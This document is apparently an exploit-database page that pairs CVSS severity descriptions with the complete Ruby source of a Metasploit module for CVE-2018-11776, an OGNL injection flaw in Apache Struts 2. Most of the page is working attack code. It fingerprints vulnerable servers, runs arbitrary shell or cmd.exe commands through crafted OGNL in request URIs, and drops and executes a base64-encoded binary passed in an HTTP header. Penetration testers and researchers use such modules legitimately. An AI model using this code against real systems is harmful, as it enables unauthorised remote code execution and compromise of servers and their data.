The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Apache Struts 2 Namespace Redirect OGNL Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#[email protected]@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#[email protected]@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end
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